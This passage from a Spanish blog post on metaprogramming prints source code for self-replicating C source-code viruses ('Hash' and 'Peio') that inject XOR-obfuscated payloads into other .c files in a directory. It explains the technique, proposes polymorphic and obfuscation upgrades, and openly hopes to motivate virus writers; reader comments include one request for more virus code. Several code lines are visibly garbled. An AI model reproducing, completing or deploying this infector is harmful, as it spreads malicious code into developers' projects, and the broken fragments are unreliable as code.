					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashend));
					for(i=0,j=0;i<strlen(hashend);i,j)
						switch(hashend[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
 								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashend[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;

					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<--------------------->
<---- end of hash.c--->
<--------------------->

En este ejemplo, los hashes están en texto plano y corresponden a los format strings necesarios para generar cada uno de los fragmentos de código necesarios para la infección. A pesar de lo aparatoso de su tamaño, los hashes ocuparán bastante menos dentro del programa ejecutable, porque todos los caracteres de escape se reducirán a un byte. Como contrapartida, deberemos introducir el código necesario para volver a generar los dos chars que especifican cada carácter de escape (contemplándose únicamente ‘\t’, ‘\n’, ‘\\’ y ‘\”‘).

El resto del código es similar al ejemplo anterior, sin embargo ahora utilizamos las posibilidades que nos brinda Linux en cuanto a mapeo de ficheros en memoria mediante la syscall mmap, para agilizar el parcheo de los ficheros. Inicialmente reservamos 3 páginas más que el tamaño del fichero original y vamos llevando un seguimiento del espacio que realmente utilizamos, para truncar el fichero a ese tamaño cuando todo el movimiento de bytes haya concluido.

Todo lo demás son copias de bytes dentro de la zona de memoria donde reside el fichero, mediante memcpy(). El uso de mmap() y memcpy() en lugar de open(), write() y lseek() agiliza la modificación de ficheros enormemente.

Por último, el infector “Peio” utiliza las mismas técnicas que “Hash”, pero en este caso los hashes están XOReados, por lo que pueden utilizarse caracteres de escape como ‘\t’ o ‘\n’ sin tener que indicarlo así. De esta manera, el tamaño de los array de hash se reduce considerablemente, además de no precisar del código que se encarga de volver a traducir a dos bytes cada carácter de escape.

<---------------->
<-----peio.c----->
<---------------->

/*
 * Peio,
 *
 * source code infector XORing hashes.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash();

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "Š£éîãìõäå 1/4óôäéï(r)è3/4Š£éîãìõäå 1/4óùó¯óôáô(r)è3/4Š£éîãìõäå 1/4óùó¯ííáî(r)è3/4Š£éîãìõäå 1/4õîéóôä(r)è3/4Š£éîãìõäå 1/4äéòåîô(r)è3/4Š£éîãìõäå 1/4æãîôì(r)è3/4ŠŠöïéä éîéôßèáóèš(c)" Š";
	char hashbeg[] = "Šöïéä éîéôßèáóèš(c)ŠûŠ‰éîô é¬ ê¬ æä¬ óéúå¬ íðïó¬ éðïó¬ ðáçå¬ Š‰éèïìå¬ ôèïìå¬ âèïìå¬ åèïìå" óôòõãô äéòåîô ªäéò" ÄÉÒ ªä"Š‰öïéä ªðôò"Š‰ãèáò èáóèéîãÛÝ 1/2 ¢";
	char hashend[] = "‰ãèáò ªâõæ"ŠŠ‰ä 1/2 ïðåîäéòš¢(r)¢(c)"Š‰÷èéìåššäéò 1/2 òåáääéòšä(c)(c)3/4°(c)Š‰‰éæš¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)ã¢(c)(c)üüŠ‰‰   ¡šóôòãíðšäéò­3/4äßîáíå"óôòìåîšäéò­3/4äßîáíå(c)­²¬¢(r)â(c)(c)(c) Š‰‰‰éæššæä1/2ïðåîšäéò­3/4äßîáíå¬ ÏßÒÄ×Ò¬ °(c)(c)3/41/2°(c)Š‰‰‰ûŠ‰‰‰‰óéúå 1/2 ìóååëšæä¬ °¬ ÓÅÅËßÅÎÄ(c)"Š‰‰‰‰ðôò 1/2 ííáðšÎÕÌ̬óéúå¬ÐÒÏÔßÒÅÁĬÍÁÐßÐÒÉÖÁÔŬæ䬰(c)"Š‰‰‰‰éæš š¡óôòóôòšðôò¬¢éîéôßèáóè¢(c)(c) ŠŠŠ‰‰‰‰  š ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáé(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáé(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáé(c)(c)3/4°(c) üü Š‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîíáéî š¢(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîéîô íáéî š¢(c)(c)3/4°(c) üüŠ‰‰‰‰    ššíðïó1/2šéîô(c)óôòóôòšðôò¬¢Üîöïéä íáéî š¢(c)(c)3/4°(c) (c) (c)Š‰‰‰‰ûŠ‰‰‰‰‰íðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)íðïó¬ ¢"Üî¢(c)"Š‰‰‰‰‰íðïó ­1/2 šéîô(c)­­ðôò"Š‰‰‰‰‰éæš ¡šéðïó 1/2 šéîô(c)óôòóôòš""ðôò¬ ¢£éîãìõäå 1/4¢(c)(c) (c)Š‰‰‰‰‰ûŠ‰‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰‰‰âòåáë"Š‰‰‰‰‰ýŠ‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰‰ðáçå 1/2 ³ ª šéîô(c)óùóãïîæšßÓÃßÐÁÇÅÓÉÚÅ(c)"Š‰‰‰‰‰æôòõîãáôåšæä¬ óéúå"ðáçå(c)"Š‰‰‰‰‰ðôò 1/2 ííáðšÎÕÌ̬óéúå"ðáçå¬ÐÒÏÔßÒÅÁÄ"ÐÒÏÔß×ÒÉÔŬÍÁÐßÓÈÁÒÅĬæ䬰(c)"Š‰‰‰‰‰éðïó 1/2 šéîô(c)óôòóôòšðôò¬ ¢£éîãìõäå 1/4¢(c)"Š‰‰‰‰‰éðïó 1/2 šéîô(c)óôòóôòššöïéä ª(c)éðïó¬ ¢ÜîÜî¢(c)"Š‰‰‰‰‰éðïó ­1/2 šéîô(c)ðôò"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)Š‰‰‰‰‰‰èáóèéîãÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)Š‰‰‰‰‰‰èáóèâåçÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰éèïìå 1/2 óôòìåîšèáóèéîã(c)"Š‰‰‰‰‰æïòšé1/2šóéúå­éðïó(c)¯éèïìå"é3/41/2°"é­­(c) Š‰‰‰‰‰‰íåíãðùšðôò"éðïó"éªéèïìå"éèïìå¬ ðôò"éðïó"éªéèïìå¬ éèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"éðïó¬ èáóèéî㬠éèïìå(c)"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèéîã(c)"é""(c)Š‰‰‰‰‰‰èáóèéîãÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰íðïó "1/2 éèïìå"Š‰‰‰‰‰âõæ 1/2 šãèáò ª(c)íáììïãš²°ªóéúåïæšãèáò(c)(c)"Š‰‰‰‰‰óôòãðùšâõ欢ÜîÜôéîéôßèáóèš(c)"¢(c)"Š‰‰‰‰‰ôèïìå 1/2 óôòìåîšâõæ(c)"Š‰‰‰‰‰æïòšé1/2šóéúå"éèïìå­íðïó(c)¯ôèïìå"é3/41/2°"é­­(c) Š‰‰‰‰‰‰íåíãðùšðôò"íðïó"éªôèïìå"ôèïìå¬ ðôò"íðïó"éªôèïìå¬ ôèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"íðïó¬ âõæ¬ ôèïìå(c)"Š‰‰‰‰‰âèïìå 1/2 óôòìåîšèáóèâåç(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå¬ èáóèâåç¬ âèïìå(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèéî㬠éèïìå(c)"Š‰‰‰‰‰âèïìå "1/2 éèïìå"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèâåçÛÝ 1/2 Ü¢¢(c)"Š‰‰‰‰‰âèïìå "1/2 ²²"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèâåç(c)"é""(c)Š‰‰‰‰‰‰èáóèâåçÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèâåç¬ óôòìåîšèáóèâåç(c)(c)"Š‰‰‰‰‰âèïìå "1/2 óôòìåîšèáóèâåç(c)"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"ÜîÜôãèáò èáóèåîäÛÝ 1/2 Ü¢¢(c)"Š‰‰‰‰‰âèïìå "1/2 ²²"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ óôòìåîšèáóèåîä(c)(c)"Š‰‰‰‰‰âèïìå "1/2 óôòìåîšèáóèåîä(c)"Š‰‰‰‰‰óðòéîôæšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ ¢Ü¢"Üî¢(c)"Š‰‰‰‰‰âèïìå "1/2 ³"Š‰‰‰‰‰æïòšé1/2°"é1/4óôòìåîšèáóèåîä(c)"é""(c)Š‰‰‰‰‰‰èáóèåîäÛéÝ Þ1/2 °øž°"Š‰‰‰‰‰åèïìå 1/2 óôòìåîšèáóèåîä(c)"Š‰‰‰‰‰íåíãðùšðôò"óéúå"éèïìå"ôèïìå"âèïìå¬ èáóèåîä¬ åèïìå(c)"Š‰‰‰‰‰íóùîãšðôò¬ óéúå"ðáçå¬ ÍÓßÓÙÎÃ(c)"Š‰‰‰‰‰íõîíáðšðôò¬ óéúå"ðáçå(c)"Š‰‰‰‰‰æôòõîãáôåšæä¬ óéúå"éèïìå"ôèïìå"âèïìå"åèïìå(c)"Š‰‰‰‰ý åìó劉‰‰‰ûŠ‰‰‰‰‰íõîíáðšðôò¬ óéúå(c)"Š‰‰‰‰ýŠ‰‰‰ýŠýŠ";
	char *buf;

	d = opendir(".");
	while>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C")))
			if>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					for(i=0;i<strlen(hashinc);i++)
						hashinc[i] ^= 0x80;
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);
					memcpy(ptr+size+ihole+thole+bhole, hashinc, ihole);
					bhole += ihole;
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] = \"");
					bhole += 22;
					for(i=0;i<strlen(hashbeg);i++)
						hashbeg[i] ^= 0x80;
					memcpy(ptr+size+ihole+thole+bhole, hashbeg, strlen(hashbeg));
					bhole += strlen(hashbeg);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] = \"");
					bhole += 22;
					memcpy(ptr+size+ihole+thole+bhole, hashend, strlen(hashend));
					bhole += strlen(hashend);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n");
					bhole += 3;
					for(i=0;i<strlen(hashend);i++)
						hashend[i] ^= 0x80;
					ehole = strlen(hashend);
					memcpy(ptr+size+ihole+thole+bhole, hashend, ehole);
					msync(ptr, size+page, MS_SYNC);
					munmap(ptr, size+page);
					ftruncate(fd, size+ihole+thole+bhole+ehole);
				} else
				{
					munmap(ptr, size);
				}
			}
}
<----------------->
<--end of-peio.c-->
<----------------->

Como vemos, los hashes están XOReados con 80h, y para poder escribir el código en el fichero destino, hay que volver a XORearlos. Esta manera de guardar los hashes abre una vía al polimorfismo, ya que en cada generación, la clave de encriptación con XOR podría variar desde 80h hasta FFh.

Desarrollos futuros

Estos ejemplos no son “fuego real”, hay numerosas imprecisiones y fallos en el código comentado. No obstante, seguimos en desarrollo de estos y nuevos ejemplos, tratando de incorporar más funcionalidades o nuevos enfoques.

Sobre todo, la parte más escandalosa es la relacionada con el tamaño del los arrays que contienen el código que queremos incluir. Resulta problemático tratar de imprimir algunos chars que caen dentro de las 32 primeras posiciones en la tabla ASCII, por lo que hay que observar cómo se resuelve este problema en otros escenarios como el envío de correo electrónico o las news. En este sentido podemos contemplar varias posibilidades:

1) El uso de uuencode/uudecode.

2) El uso de base64.

3) El uso de yEnc [14], una alternativa a los dos puntos anteriores que utiliza ASCII > 127, pero consigue evitar los chars problemáticos (como NULL, DEL, etc.).

4) El uso de protocolos de conversión de arrays de chars propios con combinaciones de XORs, sumas, etc. mejorados, que incluyan compresión simple como pueda ser RLE.

Además de estas mejoras, podríamos pensar en incorporar oligomorfismo a los programas creando varias rutinas y “cifrando” con claves aleatorias en cada generación y varias rutinas de descifrado. Se presta mucho a este enfoque el virus “Peio”, donde las posibles claves hacen que existan 127 combinaciones diferentes a la hora de crear hashes.

Como pasos más posteriores los esfuerzos podrían encaminarse hacia la ofuscación total del código vírico, introducción de dicho código intercalado en el código original, o generación mediante instrucciones y funciones de los arrays que contienen el código (se trata de un número muy grande, podríamos crear código cuyo resultado fuese ese número y así no almacenarlo, sino generarlo cada vez).

Conclusiones

Los virus de código fuente no son una amenaza muy seria actualmente, pero si se perfeccionan las técnicas comentadas, podrían dar de qué hablar. Existen muchos métodos para auditar la integridad de los ficheros en disco como md5sum, tripwire, etc. Sin embargo, si extendemos la paranoia a todo bit que pase por nuestros circuitos, la amenaza de un primer compilador troyanizado todavía sobrevuela entre los sistemas UNIX.

Me gustaría que este texto sirviera para reflexionar acerca de este tema y que motivase a escritores de virus a desarrollar nuevas y mejores técnicas. No obstante, me considero un acérrimo defensor del Software Libre y de lo planteado por la Free Software Fundation y quisiera que este código sirviera para aumentar la seguridad dentro de la comunidad del software de código abierto y no para lo contrario.

Enlaces de interés

[1] Free Software Song: http://www.gnu.org/music/free-software-song.html

[2] Linux Malware: Debunking the myths. Phil d’Espace. Virus Bulletin, September – 2002: http://www.virusbtn.com/magazine/archives/200209/linux_malware.xml

[3] BitchX 1.0c19 IRC Client Backdoored. http://slashdot.org/article.pl?sid=02/07/02/1327208&mode=thread, http://www.securityfocus.com/archive/1/280009/2002-06-28/2002-07-04/0

[4] Clues, Vandalism, Litter Sendmail Trojan Trail. http://www.securityfocus.com/news/1113 , http://cert-nl.surfnet.nl/i/2002/I-02-03.htm

[5] Virus Encyclopedia, File Viruses, DOS: Urphin.1621. http://www.viruslist.com/eng/VirusList.asp?page=0&mode=1&id=2414&key=000010000102404

[6] The History of Computer Viruses. http://www.virus-scan-software.com/virus-scan-help/answers/the-history-of-computer-viruses.shtml

[7] Die-hard virus. http://www.pspl.com/virus_info/dos/diehard.htm

[8] OBJ, LIB Viruses and Source Code Viruses. http://www.viruslist.com/eng/viruslistbooks.html?id=36

[9] Shell viruses. Gobleen Warrior & zert. http://29a.host.sk/29a-6/29a-6.212

[10] Polymorphism/Encryption/EPO in Perl Viruses. SnakeByte. http://29a.host.sk/29a-6/29a-6.220

[11] Reflections on Trusting Trust. Ken Thompson. http://www.acm.org/classics/sep95/

[12] Linux Security Auditing: Re: Reflections on Trusting Trust. http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0222.html, http://lists.insecure.org/lists/security-audit/2000/Apr-Jun/0226.html

[13] Shared Source: A Dangerous Virus. http://www.opensource.org/advocacy/shared_source.php

[14] yEnc – Broken Tools. http://www.yenc.org

12 pensamientos en “Metaprogramación (IV): Programación de virus para código fuente C

  1. centenobs

    Hola! me gusta mucho tu pagina, la verdad es que toy aprendiendo bastante con tu curso de C, es lo que estudio en clase pero ando patinando bastante.

    Me gustaria preguntarte sobre los procesos y las señales en linux, tengo que hacer un trabajo que me trae de cabeza y ya no se que hacer.

    El trabajo consiste en crear un cronometro con las funciones basicas, y luego crear un proceso padre que cree 3 hijos, los 3 hijos son 3 cronometros que tan andando y que yo deberia poder parar introduciendo por teclado el numero del cronometro (1,2,3)+una letra que es la orden del cronometro(parar p,reiniciar r,start s, lap l) quedando asi: 1p,2s…. deberia manejar esto desde el proceso padre o eso entendi segun las explicaciones de mi "maravilloso" profesor, aparte tendria que poder tener la opcion de eliminar los procesos cuando kiera y crearlos cuando kiera supongo que con otras 2 opciones como fin,inicio.

    El cronometro lo tengo hecho, tengo un switch con las opciones en el main y una funcion con el cronometro…. aunque weno esto seria mas facil si lo vieses jajajaj…

    El problema me viene con los fantasticos y maravillosos procesos hijo y padre por no decir cabronazos amargavidas…

    Este comentario no pega demasiado con el tema de este post pero no sabia si lo leerias si lo escribia en el post del curso de programacion…

    Me gustaria tu consejo sobre esto, y si quieres nos podriamos intercambiar los mails para pasarte los desvarios que he hecho…

    Responder
  2. txipi

    @centenobs: Por lo que comentas todo se puede hacer con paso de señales. Podrías usar las SIGUSR para esto o alguna otra, todo es cuestión de capturarlas en los cronómetros (hijos) y de hacer un fork() más por cada nuevo cronómetro que quieras hacer.

    Si tienes más dudas, lo mejor es que las plantees en el artículo que tenga relación, así te contestarán también los que pasen a leer el artículo.

    Responder
  3. carlos

    me parece chevere todo lo que hacen, pido el favor de que manden a mi correo mas codigos para la creacion de virus, y si es posible con su respectiva explicacion.

    muchas gracias vales.

    Responder
  4. Pingback: malware en linux... - Foros de CHW

  5. Pingback: Publican grave vulnerabilidad que afecta a Mac OS X - Foros de CHW

  6. jack

    me parece muy bien el tema en el codigo de encriptacion seme ocurre que se podria trasnformar cada letra en un numero equivalente a su codigo asccii o alguna sencilla encriptacion y tener una funcion que transformara estos en cadenas de nuevo. creo q de esa forma se ahoraria espacio.

    Responder

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

Puedes usar las siguientes etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>